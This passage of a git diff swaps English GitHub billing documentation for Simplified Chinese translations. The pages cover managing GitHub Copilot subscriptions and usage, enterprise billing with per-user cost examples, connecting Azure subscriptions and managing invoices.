如果你是属于同一企业的多个组织的成员,则可以分配到多个组织中的 {% data variables.product.prodname_copilot %} 席位,但只会向你的企业计费一次。 有关详细信息,请参阅“[在组织中配置 {% data variables.product.prodname_copilot %} 设置](/enterprise-cloud@latest/copilot/configuring-github-copilot/configuring-github-copilot-settings-in-your-organization)”。 -Policy settings and the usage overview for {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_ghe_cloud %} are available at the enterprise level. For more information, see "[Enforcing policies for {% data variables.product.prodname_copilot %} in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise)" and "[Viewing your {% data variables.product.prodname_copilot %} usage](/enterprise-cloud@latest/billing/managing-billing-for-github-copilot/viewing-your-github-copilot-usage)." +{% data variables.product.prodname_ghe_cloud %} 中 {% data variables.product.prodname_copilot %} 的策略设置和使用情况概述在企业级别可用。 有关详细信息,请参阅“[在企业中强制实施 {% data variables.product.prodname_copilot %} 的策略](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise)”和“[查看 {% data variables.product.prodname_copilot %} 使用情况](/enterprise-cloud@latest/billing/managing-billing-for-github-copilot/viewing-your-github-copilot-usage)”。 -{% endif %} \ No newline at end of file +{% endif %} diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-copilot/index.md b/translations/zh-CN/content/billing/managing-billing-for-github-copilot/index.md index fea978579c..799fa87403 100644 --- a/translations/zh-CN/content/billing/managing-billing-for-github-copilot/index.md +++ b/translations/zh-CN/content/billing/managing-billing-for-github-copilot/index.md @@ -1,12 +1,18 @@ --- -title: Managing billing for GitHub Copilot +title: 管理 GitHub Copilot 的计费 shortTitle: GitHub Copilot -intro: 'You can try {% data variables.product.prodname_copilot_for_individuals %} with a free trial before starting your subscription, and modify or cancel your subscription at any time. You can also view your usage of {% data variables.product.prodname_copilot_for_business %}, and learn about how the costs are calculated.' +intro: '可以在启动订阅之前通过免费试用版试用 {% data variables.product.prodname_copilot_for_individuals %} 并随时修改或取消订阅。 你还可以查看 {% data variables.product.prodname_copilot_for_business %} 的使用情况,并了解如何计算成本。' versions: feature: copilot children: - /about-billing-for-github-copilot - /managing-your-github-copilot-for-individuals-subscription - /viewing-your-github-copilot-usage +ms.openlocfilehash: a3d7ca504b8990078b63b28ffb4a13ad7e0fcaef +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193216' --- diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-for-individuals-subscription.md b/translations/zh-CN/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-for-individuals-subscription.md new file mode 100644 index 0000000000..6f9eaebf5d --- /dev/null +++ b/translations/zh-CN/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-for-individuals-subscription.md @@ -0,0 +1,61 @@ +--- +title: 管理适用于个人订阅的 GitHub Copilot +intro: '为个人帐户设置 {% data variables.product.prodname_copilot %} 试用版并管理订阅。' +product: '{% data reusables.gated-features.copilot-billing %}' +redirect_from: + - /billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription +versions: + feature: copilot +type: how_to +topics: + - Copilot +shortTitle: Your GitHub Copilot subscription +ms.openlocfilehash: 1f8b6f9581925faacae7f5ba5f2653ab713617ed +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193215' +--- +## 为个人帐户设置 {% data variables.product.prodname_copilot %} 的试用版 + +在开始使用 {% data variables.product.prodname_copilot %} 之前,需要设置免费试用或订阅。 + +{% data reusables.copilot.signup-procedure %} + +## 修改 {% data variables.product.prodname_copilot %} 订阅 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} +1. 在“{% data variables.product.prodname_copilot %}”部分中,选择“编辑”下拉列表。 + - 如果是按月计费周期,请选择“更改为按年计费”。 + - 如果是按年计费周期,请选择“更改为按月计费”。 + + ![计费页上 {% data variables.product.prodname_copilot %} 部分的屏幕截图,其中突出显示了“编辑”下拉列表](/assets/images/help/copilot/copilot-settings-edit-dropdown.png) + + +## 取消 {% data variables.product.prodname_copilot %} 订阅 + +可以随时取消 {% data variables.product.prodname_copilot %} 订阅。 如果在 60 天试用期间取消,则不会产生费用。 如果在 60 天试用版结束前未取消 {% data variables.product.prodname_copilot %} 订阅,将根据在设置试用版时选择的计费周期收费。 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} +1. 在“{% data variables.product.prodname_copilot %}”部分中,选择“编辑”下拉列表。 + - 如果你有付费订阅,请单击“取消 {% data variables.product.prodname_copilot %}。 + + ![计费页上 {% data variables.product.prodname_copilot %} 部分的屏幕截图,其中突出显示了取消 {% data variables.product.prodname_copilot %} 选项](/assets/images/help/copilot/copilot-billing-edit-dropdown.png) + + - 如果在 60 天的试用期内,请单击“取消试用”。 + + ![计费页上 {% data variables.product.prodname_copilot %} 部分的屏幕截图,其中突出显示了“取消试用”选项](/assets/images/help/copilot/copilot-cancel-trial.png) + +2. 在“取消 {% data variables.product.prodname_copilot %}”模式下,单击“了解,取消 {% data variables.product.prodname_copilot %}” + + ![{% data variables.product.prodname_copilot %} 取消模式的屏幕截图,其中突出显示了“了解,取消 {% data variables.product.prodname_copilot %}”选项](/assets/images/help/copilot/copilot-cancel-modal.png) + + - 如果在 60 天的试用期内,请单击“了解,取消 {% data variables.product.prodname_copilot %} 试用”。 + + ![{% data variables.product.prodname_copilot %} 取消试用模式的屏幕截图,其中突出显示了“了解,取消试用”按钮](/assets/images/help/copilot/copilot-trial-cancel-modal.png) + +## 延伸阅读 + +- [关于 {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot) +- [{% data variables.product.prodname_copilot %} 入门](/copilot/getting-started-with-github-copilot) diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md b/translations/zh-CN/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md new file mode 100644 index 0000000000..c625548584 --- /dev/null +++ b/translations/zh-CN/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md @@ -0,0 +1,54 @@ +--- +title: 管理 GitHub Copilot 订阅 +intro: 设置 {% data variables.product.prodname_copilot %} 试用版并管理订阅。 +versions: + feature: copilot +type: how_to +topics: +- Copilot +shortTitle: Your GitHub Copilot subscription +ms.openlocfilehash: 9cdd9e46dcbfe433f5d0b6ba25bda4c798dca06b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884155" +--- +## 设置 {% data variables.product.prodname_copilot %} 的试用版 + +{% data reusables.copilot.signup-procedure %} + +## 修改 {% data variables.product.prodname_copilot %} 订阅 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} +1. 在“{% data variables.product.prodname_copilot %}”部分中,选择“编辑”下拉列表。 + - 如果是按月计费周期,请选择“更改为按年计费”。 + - 如果是按年计费周期,请选择“更改为按月计费”。 + ![计费页上 GitHub Copilot 部分的屏幕截图,其中突出显示了“编辑”下拉列表](/assets/images/help/copilot/copilot-settings-edit-dropdown.png) + + +## 取消 {% data variables.product.prodname_copilot %} 订阅 + +可以随时取消 {% data variables.product.prodname_copilot %} 订阅。 如果在 60 天试用期间取消,则不会产生费用。 如果在 60 天试用版结束前未取消 {% data variables.product.prodname_copilot %} 订阅,将根据在设置试用版时选择的计费周期收费。 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} +1. 在“{% data variables.product.prodname_copilot %}”部分中,选择“编辑”下拉列表。 + - 如果你有付费订阅,请单击“取消 {% data variables.product.prodname_copilot %}。 + + ![计费页上 GitHub Copilot 部分的屏幕截图,其中突出显示了“取消 GitHub Copilot”选项](/assets/images/help/copilot/copilot-billing-edit-dropdown.png) + + - 如果在 60 天的试用期内,请单击“取消试用”。 + ![计费页上 GitHub Copilot 部分的屏幕截图,其中突出显示了“取消试用”选项](/assets/images/help/copilot/copilot-cancel-trial.png) + +2. 在“取消 {% data variables.product.prodname_copilot %}”模式下,单击“了解,取消 {% data variables.product.prodname_copilot %}” + + ![GitHub Copilot 取消模式的屏幕截图,其中突出显示了“了解,取消 GitHub Copilot”按钮](/assets/images/help/copilot/copilot-cancel-modal.png) + + - 如果在 60 天的试用期内,请单击“了解,取消 {% data variables.product.prodname_copilot %} 试用”。 + + ![GitHub Copilot 取消试用模式的屏幕截图,其中突出显示了“了解,取消试用”按钮](/assets/images/help/copilot/copilot-trial-cancel-modal.png) + +## 延伸阅读 + +- [关于 {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot) +- [{% data variables.product.prodname_copilot %} 入门](/copilot/getting-started-with-github-copilot) diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-copilot/viewing-your-github-copilot-usage.md b/translations/zh-CN/content/billing/managing-billing-for-github-copilot/viewing-your-github-copilot-usage.md new file mode 100644 index 0000000000..1de9cafe54 --- /dev/null +++ b/translations/zh-CN/content/billing/managing-billing-for-github-copilot/viewing-your-github-copilot-usage.md @@ -0,0 +1,45 @@ +--- +title: 查看 GitHub Copilot 使用情况 +intro: '可以查看有多少用户有权访问企业中所有组织中的 {% data variables.product.prodname_copilot %}。' +product: '{% data reusables.gated-features.copilot-billing %}' +miniTocMaxHeadingLevel: 3 +permissions: 'Enterprise owners can view usage for {% data variables.product.prodname_copilot %} in their enterprise.' +versions: + ghec: '*' +type: how_to +topics: + - Copilot +shortTitle: View your usage +ms.openlocfilehash: 9b481cfd11a3c96ce98175d3b30e3b26889c4148 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193214' +--- +## 关于 {% data variables.product.prodname_copilot %} 使用情况 + +你可以查看企业中 {% data variables.product.prodname_copilot %} 的使用情况信息(按组织细分,或在组织中按席位分配状态细分)。 在企业级别,此信息包括每个组织中分配的席位数,以及当前计费周期中与每个组织关联的总支出。 在组织级别,此信息包括总席位数、上一个计费周期中结转的席位、在当前周期中添加的新席位以及当前周期结束时要删除的席位。 + +如果组织管理员在当前计费周期的中途分配了一个或多个席位,则企业级信息将显示十进制数量的席位。 例如,如果组织在计费周期开始时分配了 3 个席位,然后在周期中途分配了一个额外的席位,则席位使用信息将显示 3.5 个席位。 “3”表示在周期开始时分配的席位,“0.5”表示在周期中途分配的额外席位。 + +支出信息将显示每个组织在当前计费周期内的总支出。 组织当前周期的总支出通常是分配的席位数乘以每个席位的费用(每月每个席位 19 美元)。 但是,如果同一组织成员在多个组织中分配了一个席位,则其席位使用情况将反映在每个组织中,但由于企业只收取一次费用,因此他们的支出将仅反映在首次为其分配了一个席位的组织中。 + +## 查看 {% data variables.product.prodname_copilot_for_business %} 的使用情况 + +### 在企业级 + +{% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +1. 在“{% data variables.product.prodname_copilot_short %} 每月使用情况”下,查看 {% data variables.product.prodname_copilot %} 使用情况的明细。 + - 在“席位使用情况”下,可以查看每个组织当前分配的席位总数,小数表示在当前计费周期中分配的席位。 + - 在“支出”下,可以查看每个组织的当前计费周期中 {% data variables.product.prodname_copilot_for_business %} 的总成本。 + + ![{% data variables.product.prodname_copilot %} 使用情况页面的屏幕截图](/assets/images/help/copilot/monthly-usage-enterprise.png) + +### 在组织级 + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. 在边栏的“访问”部分中,单击“{% octicon "credit-card" aria-label="The credit card icon" %} 帐单和计划”。 +1. 在“{% data variables.product.prodname_copilot_short %}”下,查看 {% data variables.product.prodname_copilot %} 使用情况的明细以及组织中即将推出的更改。 + + ![组织级别 {% data variables.product.prodname_copilot %} 席位使用情况页的屏幕截图](/assets/images/help/copilot/org-level-seat-view.png) diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md index 8193a24ee4..66f69023ed 100644 --- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md +++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: About billing for your enterprise -intro: 'You can view billing information for your enterprise{% ifversion ghec or ghes %} account on {% data variables.product.prodname_dotcom_the_website %}{% endif %}.' +title: 关于企业的计费 +intro: '您可以在查看您在 {% data variables.product.prodname_dotcom_the_website %} 上的{% ifversion ghec or ghes %}企业帐户{% endif %}的帐单信息。' redirect_from: - /admin/overview/managing-billing-for-your-enterprise - /enterprise/admin/installation/managing-billing-for-github-enterprise @@ -14,68 +14,69 @@ type: overview topics: - Enterprise shortTitle: Billing for your enterprise +ms.openlocfilehash: 1b048c16293b7183636bc383ca926c4e5c7f0bd2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147573407' --- - -## About billing for your enterprise +## 关于企业的计费 {% ifversion ghae %} -{% data reusables.github-ae.about-billing %} Once per day, {% data variables.product.prodname_dotcom %} will count the number of users with a license for your enterprise. {% data variables.product.company_short %} bills you for each licensed user regardless of whether the user logged into {% data variables.product.prodname_ghe_managed %} that day. +{% data reusables.github-ae.about-billing %} 每天一次,{% data variables.product.prodname_dotcom %} 将计算拥有企业许可证的用户数目。 {% data variables.product.company_short %} 对每个许可的用户计费,而不论用户当天是否登录 {% data variables.product.prodname_ghe_managed %}。 -For commercial regions, the price per user per day is $1.2580645161. For 31-day months, the monthly cost for each user is $39. For months with fewer days, the monthly cost is lower. Each billing month begins at a fixed time on the first day of the calendar month. +对于商业区,每个用户每天的价格是 1.2580645161 美元。 在 31 天的月份中,每个用户的每月费用为 39 美元。 对于天数较少的月份,每月费用较低。 每个计费月份在日历月第一天的固定时间开始。 -If you add a licensed user mid-month, that user will only be included in the count for the days they have a license. When you remove a licensed user, that user will remain in the count until the end of that month. Therefore, if you add a user mid-month and later remove the user in the same month, the user will be included in the count from the day the user was added through the end of the month. There is no additional cost if you re-add a user during the same month the user was removed. +如果月中添加许可用户,则该用户将仅包含在其拥有许可证的天数的计数中。 当您移除授权用户时,该用户将在计数中保留到该月底。 因此,如果在一个月中添加用户然后在该月移除该用户,则用户将从添加之日到月底包含在计数中。 如果您在用户被移除的同一个月内重新添加该用户,不会有额外的费用。 -For example, here are the costs for users with licenses on different dates. +例如,以下是在不同日期具有许可证的用户的费用。 -User | License dates | Counted days | Cost +用户 | 许可日期 | 计入的天数 | Cost ---- | ------------ | ------- | ----- -@octocat | January 1 - January 31 | 31 | $39 -@robocat | February 1 - February 28 | 28 | $35.23 -@devtocat | January 15 - January 31 | 17 | $21.39 -@doctocat | January 1 - January 15 | 31 | $39 -@prodocat | January 7 - January 15 | 25 | $31.45 -@monalisa | January 1 - January 7,
January 15 - January 31 | 31 | $39 +@octocat | 1 月 1 日至 1 月 31 日 | 31 | $39 +@robocat | 2 月 1 日至 2 月 28 日 | 28 | $35.23 +@devtocat | 1 月 15 日至 1 月 31 日 | 17 | $21.39 +@doctocat | 1 月 1 日至 1 月 15 日 | 31 | $39 +@prodocat | 1 月 7 日至 1 月 15 日 | 25 | $31.45 +@monalisa | 1 月 1 日至 1 月 7 日,
1 月 15 日至 1 月 31 日 | 31 | $39 -{% data variables.product.prodname_ghe_managed %} has a 500-user minimum per instance. {% data variables.product.company_short %} bills you for a minimum of 500 users per instance, even if there are fewer than 500 users with a license that day. +{% data variables.product.prodname_ghe_managed %} 的每个实例至少 500 个用户。 {% data variables.product.company_short %} 按每个实例至少 500 个用户计费,即使当天拥有许可证的用户少于 500 个也一样。 -You can see your current usage in your [Azure account portal](https://portal.azure.com). +可在 [Azure 帐户门户中](https://portal.azure.com)查看当前使用情况。 {% elsif ghec or ghes %} {% ifversion ghec %} -When you use an enterprise account on {% data variables.location.product_location %}, the enterprise account is the central point for all billing within your enterprise, including the organizations that your enterprise owns. +当你在 {% data variables.product.product_location %} 上使用企业帐户时,企业帐户是企业内所有计费的中心点,包括企业拥有的组织。 -If you use {% data variables.product.product_name %} with an individual organization and do not yet have an enterprise account, you create an enterprise account and add your organization. For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)." +如果将 {% data variables.product.product_name %} 用于单个组织,但尚未拥有企业帐户,请创建企业帐户并添加组织。 有关详细信息,请参阅“[创建企业帐户](/admin/overview/creating-an-enterprise-account)”。 -{% data variables.product.company_short %} bills monthly for the total number of licensed seats for your enterprise account, as well as any additional services you use with {% data variables.product.prodname_ghe_cloud %}, such as {% data variables.product.prodname_actions %} minutes. If you use a standalone organization on {% data variables.product.product_name %}, you'll be billed at the organization level for all usage. For more information your bill's license seats, see "[About per-user pricing](/billing/managing-billing-for-your-github-account/about-per-user-pricing)." +{% data variables.product.company_short %} 每月对你的企业帐户的许可席位总数以及你与 {% data variables.product.prodname_ghe_cloud %} 一起使用的任何其他服务进行计费(如 {% data variables.product.prodname_actions %} 分钟)。 如果在 {% data variables.product.product_name %} 上使用独立组织,则会在组织级别按所有使用量计费。 有关帐单的许可证席位的详细信息,请参阅“[关于每用户定价](/billing/managing-billing-for-your-github-account/about-per-user-pricing)”。 {% elsif ghes %} -Each user on {% data variables.location.product_location %} consumes a seat on your license. {% data variables.product.company_short %} bills monthly for the total number of seats consumed on your license. +{% data variables.product.product_location %} 上的每个用户都会占用许可证上的一个席位。 {% data variables.product.company_short %} 按月收取许可证上消耗的席位总数的费用。 {% endif %} -{% ifversion ghec %}For {% data variables.product.prodname_ghe_cloud %} customers with an enterprise account, {% data variables.product.company_short %} bills through your enterprise account on {% data variables.product.prodname_dotcom_the_website %}. For invoiced customers, each{% elsif ghes %}For invoiced {% data variables.product.prodname_enterprise %} customers, {% data variables.product.company_short %} bills through an enterprise account on {% data variables.product.prodname_dotcom_the_website %}. Each{% endif %} invoice includes a single bill charge for all of your paid {% data variables.product.prodname_dotcom_the_website %} services and any {% data variables.product.prodname_ghe_server %} instances. For more information about {% ifversion ghes %}licensing, usage, and invoices{% elsif ghec %}usage and invoices{% endif %}, see the following{% ifversion ghes %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} +{% ifversion ghec %}对于拥有企业帐户的 {% data variables.product.prodname_ghe_cloud %} 客户,{% data variables.product.company_short %} 通过 {% data variables.product.prodname_dotcom_the_website %} 上的企业帐户计费。 对于已开票的客户,每个{% elsif ghes %}对于已开票的 {% data variables.product.prodname_enterprise %} 客户,{% data variables.product.company_short %} 通过 {% data variables.product.prodname_dotcom_the_website %} 上的企业帐户计费。 每张{% endif %}发票都包含所有已付费的 {% data variables.product.prodname_dotcom_the_website %} 服务和任何 {% data variables.product.prodname_ghe_server %} 实例的单笔帐单费用。 有关{% ifversion ghes %}许可、使用情况和发票{% elsif ghec %}使用情况和发票{% endif %}的详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的以下内容{% ifversion ghes %}。{% else %}{% endif %} {%- ifversion ghes %} -- "[About per-user pricing](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/about-per-user-pricing)" -{%- endif %} -- "[Viewing the subscription and usage for your enterprise account]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" -- "[Managing invoices for your enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise)" +- “[关于每用户定价](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/about-per-user-pricing)”{%- endif %} +- “[查看企业帐户的订阅和使用情况]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)” +- “[管理企业的发票]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise)” -Administrators for your enterprise account on {% data variables.product.prodname_dotcom_the_website %} can access and manage billing for the enterprise. For more information, see "[Roles in an enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise){% ifversion ghec %}."{% elsif ghes %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} +您在 {% data variables.product.prodname_dotcom_the_website %} 上的企业帐户的管理员可以访问和管理企业的帐单。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[企业中的角色]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise){% ifversion ghec %}."{% elsif ghes %}”。{% endif %} -{% ifversion ghec %} -{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." +{% ifversion ghec %} {% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} 有关详细信息,请参阅“[将 Azure 订阅连接到企业](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)”。 {% endif %} -{% ifversion ghes %} -{% data reusables.billing.ghes-with-no-enterprise-account %} -{% endif %} +{% ifversion ghes %} {% data reusables.billing.ghes-with-no-enterprise-account %} {% endif %} {% endif %} -## Further reading +## 延伸阅读 -- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)" +- “[关于企业帐户](/admin/overview/about-enterprise-accounts)” diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md index 143ea84f18..a87e472c22 100644 --- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md +++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Connecting an Azure subscription to your enterprise -intro: 'You can use your Microsoft Enterprise Agreement to enable and pay for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_github_codespaces %} usage.' +title: 将 Azure 订阅连接到您的企业 +intro: '你可以使用 Microsoft 企业协议来启用 {% data variables.product.prodname_actions %}、{% data variables.product.prodname_registry %} 和 {% data variables.product.prodname_github_codespaces %} 的使用并为其付费。' redirect_from: - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/connecting-an-azure-subscription-to-your-enterprise - /github/setting-up-and-managing-billing-and-payments-on-github/connecting-an-azure-subscription-to-your-enterprise @@ -8,50 +8,50 @@ redirect_from: versions: ghec: '*' shortTitle: Connect an Azure subscription +ms.openlocfilehash: a5473ff19e403eb21242982e005663d1c8ac5962 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147110880' --- -## About Azure subscriptions and {% data variables.product.product_name %} +## 关于 Azure 订阅和 {% data variables.product.product_name %} -{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions) and "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)." +{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} 有关详细信息,请参阅“[关于 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)”和“[关于 {% data variables.product.prodname_registry %} 的计费](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)”。 {% note %} -**Note:** If your enterprise account is on a Microsoft Enterprise Agreement, connecting an Azure subscription is the only way to use {% data variables.product.prodname_actions %} and {% data variables.product.prodname_registry %} beyond the included amounts, or to use {% data variables.product.prodname_github_codespaces %} at all. +注意:如果企业帐户签署了 Microsoft 企业协议,则连接 Azure 订阅是使用超出包含金额的 {% data variables.product.prodname_actions %} 和 {% data variables.product.prodname_registry %},或使用 {% data variables.product.prodname_codespaces %} 的唯一方法。 {% endnote %} -After you connect an Azure subscription, you can also manage your spending limits. +连接 Azure 订阅后,你还可以管理你的支出限制。 - "[Managing your spending limit for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages)" - "[Managing your spending limit for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions)" -- "[Managing your spending limit for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)" +- “[管理 {% data variables.product.prodname_github_codespaces %} 的支出限制](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)” -## Connecting your Azure subscription to your enterprise account +## 将 Azure 订阅连接到您的企业帐户 -To connect your Azure subscription, you must have owner permissions to the subscription. +要连接 Azure 订阅,您必须拥有订阅的所有者权限。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -{% data reusables.enterprise-accounts.payment-information-tab %} -1. Under "Payment Information", click **Add Azure Subscription**. -1. To sign in to your Microsoft account, follow the prompts. -1. Review the "Permissions requested" prompt. If you agree with the terms, click **Accept**. -1. Under "Select a subscription", select the Azure Subscription ID that you want to connect to your enterprise. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} {% data reusables.enterprise-accounts.payment-information-tab %} +1. 在“付款信息”下,单击“添加 Azure 订阅”。 +1. 要登录到您的 Microsoft 帐户,请按照提示执行。 +1. 查看“请求的权限”提示。 如果同意条款,请单击“接受”。 +1. 在“Select a subscription(选择订阅)”下,选择您想要连接到企业的 Azure 订阅 ID。 {% note %} - **Note:** {% data variables.product.company_short %}'s Subscription Permission Validation requests read-only access to display the list of available subscriptions. To select an Azure subscription, you must have owner permissions to the subscription. If the default tenant does not have the right permissions, you may need to specify a different tenant ID. For more information, see [Microsoft identity platform and OAuth 2.0 authorization code flow](https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow#request-an-authorization-code) in Microsoft Docs. + **注意:** {% data variables.product.company_short %} 的订阅权限验证将请求只读访问权限以显示可用订阅的列表。 要选择 Azure 订阅,必须对订阅拥有所有者权限。 如果默认租户没有正确的权限,则可能需要指定其他租户 ID。 有关详细信息,请参阅 Microsoft Docs 中的 [Microsoft 标识平台和 OAuth 2.0 授权代码流](https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow#request-an-authorization-code)。 {% endnote %} -1. Click **Connect**. +1. 单击“连接” 。 -## Disconnecting your Azure subscription from your enterprise account +## 从企业帐户断开您的 Azure 订阅 -After you disconnect your Azure subscription from your enterprise account, your usage can no longer exceed the amounts included with your plan. +从企业帐户断开 Azure 订阅后,您的使用不能再超过您的计划所包含的时间量。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -{% data reusables.enterprise-accounts.payment-information-tab %} -1. Under "Azure subscription", to the right of the subscription ID you want to disconnect, click **{% octicon "trash" aria-label="The trash icon" %}**. -1. Review the prompt, then click **Remove**. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} {% data reusables.enterprise-accounts.payment-information-tab %} +1. 在“Azure 订阅”下你要断开连接的订阅 ID 右侧,单击“{% octicon "trash" aria-label="The trash icon" %}”。 +1. 查看提示,然后单击“删除”。 diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md index bcd0e668b5..f077de5569 100644 --- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md +++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md @@ -1,55 +1,49 @@ --- -title: Managing invoices for your enterprise +title: 管理企业的发票 shortTitle: Manage invoices -intro: 'You can view, pay, or download a current invoice for your enterprise, and you can view your payment history.' +intro: 您可以查看、支付或下载企业的当前发票,也可以查看付款历史记录。 versions: ghec: '*' type: how_to topics: - Enterprise - Licensing +ms.openlocfilehash: 030d91667630445f0811db6e51d5fe33ed863182 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: '145084477' --- +## 关于企业的发票 -## About invoices for your enterprise +{% data reusables.billing.about-invoices-for-enterprises %} 有关详细信息,请参阅“[关于企业计费](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)”。 -For invoiced {% data variables.product.prodname_enterprise %} customers, {% data variables.product.company_short %} bills through an enterprise account on {% data variables.product.prodname_dotcom_the_website %}. Each invoice includes a single bill charge for all of your paid {% data 